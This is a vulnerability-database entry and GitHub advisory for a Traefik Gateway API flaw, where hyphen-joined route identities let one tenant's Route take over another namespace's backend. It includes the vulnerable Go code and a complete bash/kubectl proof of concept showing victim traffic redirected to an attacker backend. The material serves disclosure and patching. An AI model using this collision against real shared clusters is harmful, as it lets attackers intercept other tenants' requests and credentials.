Vulnerability-Lookup

CVE-2026-71327 (GCVE-0-2026-71327)

Vulnerability from cvelistv5 – Published: 2026-08-06 16:38 – Updated: 2026-08-07 15:41

Title

Traefik: Gateway API route identity collision allows cross-namespace backend hijacking

Summary

Traefik is an open source HTTP reverse proxy and load balancer. From 3.0.0 until 3.6.25 and 3.7.10, Traefik's Kubernetes Gateway API provider in pkg/provider/kubernetes/gateway/httproute.go, grpcroute.go, tcproute.go, and tlsroute.go builds HTTPRoute, GRPCRoute, TCPRoute, and TLSRoute router and service identities by hyphen-concatenating namespace, route name, Gateway identity, entry point, and rule index, allowing colliding Routes to overwrite another namespace's backend. This issue is fixed in 3.6.25 and 3.7.10.

Severity

7.6 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

SSVC

Exploitation: none Automatable: no Technical Impact: total

CISA Coordinator (v2.0.3)

CWE

CWE-694 - Use of Multiple Resources with Duplicate Identifier

Assigner

GitHub_M

References

5 references

URL	Tags
https://github.com/traefik/traefik/security/advis…	x_refsource_CONFIRM
https://github.com/traefik/traefik/pull/13580	x_refsource_MISC
https://github.com/traefik/traefik/commit/a764166…	x_refsource_MISC
https://github.com/traefik/traefik/releases/tag/v3.6.25	x_refsource_MISC
https://github.com/traefik/traefik/releases/tag/v3.7.10	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
traefik	traefik	Affected: >= 3.0.0, < 3.6.25 Affected: >= 3.7.0, < 3.7.10

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-71327",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-07T15:40:56.189049Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-07T15:41:26.662Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "traefik",
          "vendor": "traefik",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 3.0.0, \u003c 3.6.25"
            },
            {
              "status": "affected",
              "version": "\u003e= 3.7.0, \u003c 3.7.10"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Traefik is an open source HTTP reverse proxy and load balancer. From 3.0.0 until 3.6.25 and 3.7.10, Traefik\u0027s Kubernetes Gateway API provider in pkg/provider/kubernetes/gateway/httproute.go, grpcroute.go, tcproute.go, and tlsroute.go builds HTTPRoute, GRPCRoute, TCPRoute, and TLSRoute router and service identities by hyphen-concatenating namespace, route name, Gateway identity, entry point, and rule index, allowing colliding Routes to overwrite another namespace\u0027s backend. This issue is fixed in 3.6.25 and 3.7.10."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "PRESENT",
            "attackVector": "NETWORK",
            "baseScore": 7.6,
            "baseSeverity": "HIGH",
            "privilegesRequired": "LOW",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "HIGH",
            "vulnIntegrityImpact": "HIGH"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-694",
              "description": "CWE-694: Use of Multiple Resources with Duplicate Identifier",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-06T16:38:11.600Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/traefik/traefik/security/advisories/GHSA-fgjj-px3w-67xx",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/traefik/traefik/security/advisories/GHSA-fgjj-px3w-67xx"
        },
        {
          "name": "https://github.com/traefik/traefik/pull/13580",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/traefik/traefik/pull/13580"
        },
        {
          "name": "https://github.com/traefik/traefik/commit/a764166656f0cd337f917ac76315c381cca844f9",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/traefik/traefik/commit/a764166656f0cd337f917ac76315c381cca844f9"
        },
        {
          "name": "https://github.com/traefik/traefik/releases/tag/v3.6.25",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/traefik/traefik/releases/tag/v3.6.25"
        },
        {
          "name": "https://github.com/traefik/traefik/releases/tag/v3.7.10",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/traefik/traefik/releases/tag/v3.7.10"
        }
      ],
      "source": {
        "advisory": "GHSA-fgjj-px3w-67xx",
        "discovery": "UNKNOWN"
      },
      "title": "Traefik: Gateway API route identity collision allows cross-namespace backend hijacking"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-71327",
    "datePublished": "2026-08-06T16:38:11.600Z",
    "dateReserved": "2026-08-05T18:14:42.065Z",
    "dateUpdated": "2026-08-07T15:41:26.662Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-71327",
      "date": "2026-08-08",
      "epss": "0.00364",
      "percentile": "0.2912"
    },
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-71327\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-08-06T22:18:29.810\",\"lastModified\":\"2026-08-07T16:17:28.027\",\"vulnStatus\":\"Received\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"Traefik is an open source HTTP reverse proxy and load balancer. From 3.0.0 until 3.6.25 and 3.7.10, Traefik\u0027s Kubernetes Gateway API provider in pkg/provider/kubernetes/gateway/httproute.go, grpcroute.go, tcproute.go, and tlsroute.go builds HTTPRoute, GRPCRoute, TCPRoute, and TLSRoute router and service identities by hyphen-concatenating namespace, route name, Gateway identity, entry point, and rule index, allowing colliding Routes to overwrite another namespace\u0027s backend. This issue is fixed in 3.6.25 and 3.7.10.\"}],\"affected\":[{\"source\":\"security-advisories@github.com\",\"affectedData\":[{\"vendor\":\"traefik\",\"product\":\"traefik\",\"versions\":[{\"version\":\"\u003e= 3.0.0, \u003c 3.6.25\",\"status\":\"affected\"},{\"version\":\"\u003e= 3.7.0, \u003c 3.7.10\",\"status\":\"affected\"}]}]}],\"metrics\":{\"cvssMetricV40\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"4.0\",\"vectorString\":\"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X\",\"baseScore\":7.6,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"attackRequirements\":\"PRESENT\",\"privilegesRequired\":\"LOW\",\"userInteraction\":\"NONE\",\"vulnConfidentialityImpact\":\"HIGH\",\"vulnIntegrityImpact\":\"HIGH\",\"vulnAvailabilityImpact\":\"NONE\",\"subConfidentialityImpact\":\"NONE\",\"subIntegrityImpact\":\"NONE\",\"subAvailabilityImpact\":\"NONE\",\"exploitMaturity\":\"NOT_DEFINED\",\"confidentialityRequirement\":\"NOT_DEFINED\",\"integrityRequirement\":\"NOT_DEFINED\",\"availabilityRequirement\":\"NOT_DEFINED\",\"modifiedAttackVector\":\"NOT_DEFINED\",\"modifiedAttackComplexity\":\"NOT_DEFINED\",\"modifiedAttackRequirements\":\"NOT_DEFINED\",\"modifiedPrivilegesRequired\":\"NOT_DEFINED\",\"modifiedUserInteraction\":\"NOT_DEFINED\",\"modifiedVulnConfidentialityImpact\":\"NOT_DEFINED\",\"modifiedVulnIntegrityImpact\":\"NOT_DEFINED\",\"modifiedVulnAvailabilityImpact\":\"NOT_DEFINED\",\"modifiedSubConfidentialityImpact\":\"NOT_DEFINED\",\"modifiedSubIntegrityImpact\":\"NOT_DEFINED\",\"modifiedSubAvailabilityImpact\":\"NOT_DEFINED\",\"Safety\":\"NOT_DEFINED\",\"Automatable\":\"NOT_DEFINED\",\"Recovery\":\"NOT_DEFINED\",\"valueDensity\":\"NOT_DEFINED\",\"vulnerabilityResponseEffort\":\"NOT_DEFINED\",\"providerUrgency\":\"NOT_DEFINED\"}}],\"ssvcV203\":[{\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"ssvcData\":{\"timestamp\":\"2026-08-07T15:40:56.189049Z\",\"id\":\"CVE-2026-71327\",\"options\":[{\"exploitation\":\"none\"},{\"automatable\":\"no\"},{\"technicalImpact\":\"total\"}],\"role\":\"CISA Coordinator\",\"version\":\"2.0.3\"}}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-694\"}]}],\"references\":[{\"url\":\"https://github.com/traefik/traefik/commit/a764166656f0cd337f917ac76315c381cca844f9\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/traefik/traefik/pull/13580\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/traefik/traefik/releases/tag/v3.6.25\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/traefik/traefik/releases/tag/v3.7.10\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/traefik/traefik/security/advisories/GHSA-fgjj-px3w-67xx\",\"source\":\"security-advisories@github.com\"}]}}",
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-71327\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"none\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"total\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-08-07T15:40:56.189049Z\"}}}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-08-07T15:41:23.363Z\"}}], \"cna\": {\"title\": \"Traefik: Gateway API route identity collision allows cross-namespace backend hijacking\", \"source\": {\"advisory\": \"GHSA-fgjj-px3w-67xx\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV4_0\": {\"version\": \"4.0\", \"baseScore\": 7.6, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"HIGH\", \"vectorString\": \"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"attackRequirements\": \"PRESENT\", \"privilegesRequired\": \"LOW\", \"subIntegrityImpact\": \"NONE\", \"vulnIntegrityImpact\": \"HIGH\", \"subAvailabilityImpact\": \"NONE\", \"vulnAvailabilityImpact\": \"NONE\", \"subConfidentialityImpact\": \"NONE\", \"vulnConfidentialityImpact\": \"HIGH\"}}], \"affected\": [{\"vendor\": \"traefik\", \"product\": \"traefik\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003e= 3.0.0, \u003c 3.6.25\"}, {\"status\": \"affected\", \"version\": \"\u003e= 3.7.0, \u003c 3.7.10\"}]}], \"references\": [{\"url\": \"https://github.com/traefik/traefik/security/advisories/GHSA-fgjj-px3w-67xx\", \"name\": \"https://github.com/traefik/traefik/security/advisories/GHSA-fgjj-px3w-67xx\", \"tags\": [\"x_refsource_CONFIRM\"]}, {\"url\": \"https://github.com/traefik/traefik/pull/13580\", \"name\": \"https://github.com/traefik/traefik/pull/13580\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/traefik/traefik/commit/a764166656f0cd337f917ac76315c381cca844f9\", \"name\": \"https://github.com/traefik/traefik/commit/a764166656f0cd337f917ac76315c381cca844f9\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/traefik/traefik/releases/tag/v3.6.25\", \"name\": \"https://github.com/traefik/traefik/releases/tag/v3.6.25\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/traefik/traefik/releases/tag/v3.7.10\", \"name\": \"https://github.com/traefik/traefik/releases/tag/v3.7.10\", \"tags\": [\"x_refsource_MISC\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"Traefik is an open source HTTP reverse proxy and load balancer. From 3.0.0 until 3.6.25 and 3.7.10, Traefik\u0027s Kubernetes Gateway API provider in pkg/provider/kubernetes/gateway/httproute.go, grpcroute.go, tcproute.go, and tlsroute.go builds HTTPRoute, GRPCRoute, TCPRoute, and TLSRoute router and service identities by hyphen-concatenating namespace, route name, Gateway identity, entry point, and rule index, allowing colliding Routes to overwrite another namespace\u0027s backend. This issue is fixed in 3.6.25 and 3.7.10.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-694\", \"description\": \"CWE-694: Use of Multiple Resources with Duplicate Identifier\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-08-06T16:38:11.600Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2026-71327\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-08-07T15:41:26.662Z\", \"dateReserved\": \"2026-08-05T18:14:42.065Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-08-06T16:38:11.600Z\", \"assignerShortName\": \"GitHub_M\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

GHSA-FGJJ-PX3W-67XX

Vulnerability from github – Published: 2026-08-06 16:38 – Updated: 2026-08-06 16:38

Summary

Traefik: Gateway API route identity collision allows cross-namespace backend hijacking

Details

Summary

There is a high severity vulnerability in Traefik's Kubernetes Gateway API provider. Router and service identities for HTTPRoute, GRPCRoute, TCPRoute and TLSRoute objects were built by hyphen-concatenating the route namespace, the route name, the Gateway identity, the entry point and the rule index, a construction that is not injective because Kubernetes names may themselves contain hyphens. Two distinct Routes attached to the same Gateway with equivalent match rules can therefore produce the same identity, and the Route loaded later silently overwrites the earlier one, so a tenant able to create an accepted Route in a colliding namespace/name combination can redirect another namespace's traffic to a backend it controls. All Traefik v3 minor lines are affected; the lines older than v3.6 are no longer maintained and will not receive a patch of their own, so users running them should upgrade to a maintained, patched release.

Patches

https://github.com/traefik/traefik/releases/tag/v3.6.25
https://github.com/traefik/traefik/releases/tag/v3.7.10

For more information

If you have any questions or comments about this advisory, please open an issue.

Original Description ## Summary Traefik's Kubernetes Gateway provider constructs internal HTTPRoute and GRPCRoute identities by concatenating namespace, route name, Gateway identity, entrypoint, and rule index with hyphens. Kubernetes names may themselves contain hyphens, so the construction is not injective. For example, HTTPRoutes `team/a-app` and `team-a/app`, attached to the same Gateway with the same match rule, produce identical router and service keys. During configuration merging, the route loaded later overwrites the earlier route's maps. A tenant that can create an accepted Route in a colliding namespace/name combination can therefore redirect another namespace's traffic to an attacker-controlled backend. The official v3.7.8 binary was reproduced returning the victim backend before the second Route was created and the attacker backend immediately afterward. The victim Route had the earlier creation timestamp and should win the equivalent-match conflict under Gateway API precedence rules. ## Details The HTTPRoute provider creates a route key as follows:

routeKey := provider.Normalize(fmt.Sprintf(
    "%s-%s-%s-gw-%s-%s-ep-%s-%d",
    strings.ToLower(kindHTTPRoute),
    route.Namespace,
    route.Name,
    gatewayNamespace,
    gatewayName,
    listener.EPName,
    ri,
))

`Normalize` replaces non-alphanumeric runs with `-`, but it does not encode field lengths or otherwise preserve component boundaries:

func Normalize(name string) string {
    fargs := func(c rune) bool {
        return !unicode.IsLetter(c) && !unicode.IsNumber(c)
    }
    return strings.Join(strings.FieldsFunc(name, fargs), "-")
}

These distinct objects therefore have the same normalized key:

namespace=team,   route=a-app
namespace=team-a, route=app

httproute-team-a-app-gw-gateway-shared-ep-web-0

`makeRouterName` adds a hash of the routing rule. When the attacker copies the victim's hostname and path, that hash is also identical. Child service and middleware names are derived from the same parent identity. Each Route is built into a temporary configuration and then merged into the provider-wide configuration with `maps.Copy`:

maps.Copy(to.HTTP.Routers, from.HTTP.Routers)
maps.Copy(to.HTTP.Middlewares, from.HTTP.Middlewares)
maps.Copy(to.HTTP.Services, from.HTTP.Services)
maps.Copy(to.HTTP.ServersTransports, from.HTTP.ServersTransports)

`maps.Copy` replaces an existing value for a duplicate key. No collision is reported, and the resulting router points to the later Route's backend. The GRPCRoute implementation uses the same delimiter-free route-key format and the same HTTP configuration merge path. ### Attack prerequisites The attacker needs permission to create or modify an HTTPRoute or GRPCRoute that the shared Gateway accepts. Exploitation also requires namespace and Route names whose concatenation collides with a victim. The attacker does not need permission to read or modify the victim Route, Service, or namespace. ## Proof of Concept Prerequisites: - a disposable Kubernetes cluster with Gateway API v1.5.1 experimental CRDs; - `kubectl` configured for that cluster; - curl; - local TCP port 18080 available. The following script embeds all objects used by the reproduction. It runs the official `traefik:v3.7.8` image, creates the victim Route first, verifies the victim backend, then creates the colliding attacker Route and repeats the request.

#!/usr/bin/env bash
set -euo pipefail

kubectl apply -f - <<'YAML'
apiVersion: v1
kind: Namespace
metadata:
  name: gateway
---
apiVersion: v1
kind: Namespace
metadata:
  name: team
---
apiVersion: v1
kind: Namespace
metadata:
  name: team-a
---
apiVersion: v1
kind: ServiceAccount
metadata:
  name: traefik-audit
  namespace: gateway
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: traefik-route-collision-lab
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: cluster-admin
subjects:
- kind: ServiceAccount
  name: traefik-audit
  namespace: gateway
---
apiVersion: apps/v1
kind: Deployment
metadata:
  name: traefik-audit
  namespace: gateway
spec:
  replicas: 1
  selector:
    matchLabels:
      app: traefik-audit
  template:
    metadata:
      labels:
        app: traefik-audit
    spec:
      serviceAccountName: traefik-audit
      containers:
      - name: traefik
        image: traefik:v3.7.8
        args:
        - --entryPoints.web.address=:8000
        - --providers.kubernetesgateway=true
        - --global.checkNewVersion=false
        - --global.sendAnonymousUsage=false
        - --log.level=ERROR
        ports:
        - name: web
          containerPort: 8000
---
apiVersion: gateway.networking.k8s.io/v1
kind: GatewayClass
metadata:
  name: traefik-route-collision-lab
spec:
  controllerName: traefik.io/gateway-controller
---
apiVersion: gateway.networking.k8s.io/v1
kind: Gateway
metadata:
  name: shared
  namespace: gateway
spec:
  gatewayClassName: traefik-route-collision-lab
  listeners:
  - name: web
    protocol: HTTP
    port: 8000
    allowedRoutes:
      namespaces:
        from: All
---
apiVersion: apps/v1
kind: Deployment
metadata:
  name: victim
  namespace: team
spec:
  replicas: 1
  selector:
    matchLabels:
      app: victim
  template:
    metadata:
      labels:
        app: victim
    spec:
      containers:
      - name: echo
        image: hashicorp/http-echo:1.0.0
        args: ["-listen=:5678", "-text=VICTIM_BACKEND"]
        ports:
        - containerPort: 5678
---
apiVersion: v1
kind: Service
metadata:
  name: backend
  namespace: team
spec:
  selector:
    app: victim
  ports:
  - port: 80
    targetPort: 5678
---
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
  name: a-app
  namespace: team
spec:
  parentRefs:
  - name: shared
    namespace: gateway
  hostnames: ["collision.example"]
  rules:
  - matches:
    - path:
        type: PathPrefix
        value: /
    backendRefs:
    - name: backend
      port: 80
YAML

kubectl -n gateway rollout status deployment/traefik-audit --timeout=120s
kubectl -n team rollout status deployment/victim --timeout=120s

kubectl -n gateway port-forward deployment/traefik-audit 18080:8000 \
  >/dev/null 2>&1 &
PORT_FORWARD_PID=$!
trap 'kill "$PORT_FORWARD_PID" 2>/dev/null || true' EXIT

for _ in $(seq 1 60); do
  RESPONSE=$(curl -sS -H 'Host: collision.example' \
    http://127.0.0.1:18080/ 2>/dev/null || true)
  if [ "$RESPONSE" = "VICTIM_BACKEND" ]; then
    break
  fi
  sleep 1
done
printf 'before collision: %s\n' "$RESPONSE"

sleep 2

kubectl apply -f - <<'YAML'
apiVersion: apps/v1
kind: Deployment
metadata:
  name: attacker
  namespace: team-a
spec:
  replicas: 1
  selector:
    matchLabels:
      app: attacker
  template:
    metadata:
      labels:
        app: attacker
    spec:
      containers:
      - name: echo
        image: hashicorp/http-echo:1.0.0
        args: ["-listen=:5678", "-text=ATTACKER_BACKEND"]
        ports:
        - containerPort: 5678
---
apiVersion: v1
kind: Service
metadata:
  name: backend
  namespace: team-a
spec:
  selector:
    app: attacker
  ports:
  - port: 80
    targetPort: 5678
YAML

kubectl -n team-a rollout status deployment/attacker --timeout=120s

kubectl apply -f - <<'YAML'
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
  name: app
  namespace: team-a
spec:
  parentRefs:
  - name: shared
    namespace: gateway
  hostnames: ["collision.example"]
  rules:
  - matches:
    - path:
        type: PathPrefix
        value: /
    backendRefs:
    - name: backend
      port: 80
YAML

for _ in $(seq 1 60); do
  RESPONSE=$(curl -sS -H 'Host: collision.example' \
    http://127.0.0.1:18080/ 2>/dev/null || true)
  if [ "$RESPONSE" = "ATTACKER_BACKEND" ]; then
    break
  fi
  sleep 1
done
printf 'after collision:  %s\n' "$RESPONSE"

kubectl get httproute -A --sort-by=.metadata.creationTimestamp

Expected output on v3.7.8:

before collision: VICTIM_BACKEND
after collision:  ATTACKER_BACKEND
NAMESPACE   NAME    HOSTNAMES
team        a-app   ["collision.example"]
team-a      app     ["collision.example"]

The first Route is older, but creating the second Route changes existing victim traffic to the attacker backend. The same test was also run with the official standalone v3.7.8 Linux amd64 binary inside an isolated k3s cluster. The release archive had SHA-256 `dbd809b1de85d86d0718c80bedbaabd9aebaa3c6697f9e986ab5f387f4196cb7`. ## Impact In a shared Gateway deployment, a Route author can hijack requests belonging to another namespace when the object names admit a collision. Requests, credentials, authorization headers, and response data can be delivered to an attacker-controlled backend. The attacker can also return forged application content or accept state-changing requests intended for the victim. The favorable naming relationship and accepted shared Gateway are reflected in the high attack-complexity rating.

Severity

8.2 (High)


                  
                    CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.6.25"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.7.0"
            },
            {
              "fixed": "3.7.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-71327"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-694"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-06T16:38:18Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThere is a high severity vulnerability in Traefik\u0027s Kubernetes Gateway API provider. Router and service identities for `HTTPRoute`, `GRPCRoute`, `TCPRoute` and `TLSRoute` objects were built by hyphen-concatenating the route namespace, the route name, the Gateway identity, the entry point and the rule index, a construction that is not injective because Kubernetes names may themselves contain hyphens. Two distinct Routes attached to the same Gateway with equivalent match rules can therefore produce the same identity, and the Route loaded later silently overwrites the earlier one, so a tenant able to create an accepted Route in a colliding namespace/name combination can redirect another namespace\u0027s traffic to a backend it controls. All Traefik v3 minor lines are affected; the lines older than v3.6 are no longer maintained and will not receive a patch of their own, so users running them should upgrade to a maintained, patched release.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v3.6.25\n- https://github.com/traefik/traefik/releases/tag/v3.7.10\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n## Summary\n\nTraefik\u0027s Kubernetes Gateway provider constructs internal HTTPRoute and\nGRPCRoute identities by concatenating namespace, route name, Gateway identity,\nentrypoint, and rule index with hyphens. Kubernetes names may themselves\ncontain hyphens, so the construction is not injective.\n\nFor example, HTTPRoutes `team/a-app` and `team-a/app`, attached to the same\nGateway with the same match rule, produce identical router and service keys.\nDuring configuration merging, the route loaded later overwrites the earlier\nroute\u0027s maps. A tenant that can create an accepted Route in a colliding\nnamespace/name combination can therefore redirect another namespace\u0027s\ntraffic to an attacker-controlled backend.\n\nThe official v3.7.8 binary was reproduced returning the victim backend before\nthe second Route was created and the attacker backend immediately afterward.\nThe victim Route had the earlier creation timestamp and should win the\nequivalent-match conflict under Gateway API precedence rules.\n\n## Details\n\nThe HTTPRoute provider creates a route key as follows:\n\n```go\nrouteKey := provider.Normalize(fmt.Sprintf(\n\t\"%s-%s-%s-gw-%s-%s-ep-%s-%d\",\n\tstrings.ToLower(kindHTTPRoute),\n\troute.Namespace,\n\troute.Name,\n\tgatewayNamespace,\n\tgatewayName,\n\tlistener.EPName,\n\tri,\n))\n```\n\n`Normalize` replaces non-alphanumeric runs with `-`, but it does not encode\nfield lengths or otherwise preserve component boundaries:\n\n```go\nfunc Normalize(name string) string {\n\tfargs := func(c rune) bool {\n\t\treturn !unicode.IsLetter(c) \u0026\u0026 !unicode.IsNumber(c)\n\t}\n\treturn strings.Join(strings.FieldsFunc(name, fargs), \"-\")\n}\n```\n\nThese distinct objects therefore have the same normalized key:\n\n```text\nnamespace=team,   route=a-app\nnamespace=team-a, route=app\n\nhttproute-team-a-app-gw-gateway-shared-ep-web-0\n```\n\n`makeRouterName` adds a hash of the routing rule. When the attacker copies the\nvictim\u0027s hostname and path, that hash is also identical. Child service and\nmiddleware names are derived from the same parent identity.\n\nEach Route is built into a temporary configuration and then merged into the\nprovider-wide configuration with `maps.Copy`:\n\n```go\nmaps.Copy(to.HTTP.Routers, from.HTTP.Routers)\nmaps.Copy(to.HTTP.Middlewares, from.HTTP.Middlewares)\nmaps.Copy(to.HTTP.Services, from.HTTP.Services)\nmaps.Copy(to.HTTP.ServersTransports, from.HTTP.ServersTransports)\n```\n\n`maps.Copy` replaces an existing value for a duplicate key. No collision is\nreported, and the resulting router points to the later Route\u0027s backend. The\nGRPCRoute implementation uses the same delimiter-free route-key format and\nthe same HTTP configuration merge path.\n\n### Attack prerequisites\n\nThe attacker needs permission to create or modify an HTTPRoute or GRPCRoute\nthat the shared Gateway accepts. Exploitation also requires namespace and\nRoute names whose concatenation collides with a victim. The attacker does not\nneed permission to read or modify the victim Route, Service, or namespace.\n\n## Proof of Concept\n\nPrerequisites:\n\n- a disposable Kubernetes cluster with Gateway API v1.5.1 experimental CRDs;\n- `kubectl` configured for that cluster;\n- curl;\n- local TCP port 18080 available.\n\nThe following script embeds all objects used by the reproduction. It runs the\nofficial `traefik:v3.7.8` image, creates the victim Route first, verifies the\nvictim backend, then creates the colliding attacker Route and repeats the\nrequest.\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\nkubectl apply -f - \u003c\u003c\u0027YAML\u0027\napiVersion: v1\nkind: Namespace\nmetadata:\n  name: gateway\n---\napiVersion: v1\nkind: Namespace\nmetadata:\n  name: team\n---\napiVersion: v1\nkind: Namespace\nmetadata:\n  name: team-a\n---\napiVersion: v1\nkind: ServiceAccount\nmetadata:\n  name: traefik-audit\n  namespace: gateway\n---\napiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRoleBinding\nmetadata:\n  name: traefik-route-collision-lab\nroleRef:\n  apiGroup: rbac.authorization.k8s.io\n  kind: ClusterRole\n  name: cluster-admin\nsubjects:\n- kind: ServiceAccount\n  name: traefik-audit\n  namespace: gateway\n---\napiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: traefik-audit\n  namespace: gateway\nspec:\n  replicas: 1\n  selector:\n    matchLabels:\n      app: traefik-audit\n  template:\n    metadata:\n      labels:\n        app: traefik-audit\n    spec:\n      serviceAccountName: traefik-audit\n      containers:\n      - name: traefik\n        image: traefik:v3.7.8\n        args:\n        - --entryPoints.web.address=:8000\n        - --providers.kubernetesgateway=true\n        - --global.checkNewVersion=false\n        - --global.sendAnonymousUsage=false\n        - --log.level=ERROR\n        ports:\n        - name: web\n          containerPort: 8000\n---\napiVersion: gateway.networking.k8s.io/v1\nkind: GatewayClass\nmetadata:\n  name: traefik-route-collision-lab\nspec:\n  controllerName: traefik.io/gateway-controller\n---\napiVersion: gateway.networking.k8s.io/v1\nkind: Gateway\nmetadata:\n  name: shared\n  namespace: gateway\nspec:\n  gatewayClassName: traefik-route-collision-lab\n  listeners:\n  - name: web\n    protocol: HTTP\n    port: 8000\n    allowedRoutes:\n      namespaces:\n        from: All\n---\napiVersion: apps/v1\nkind: 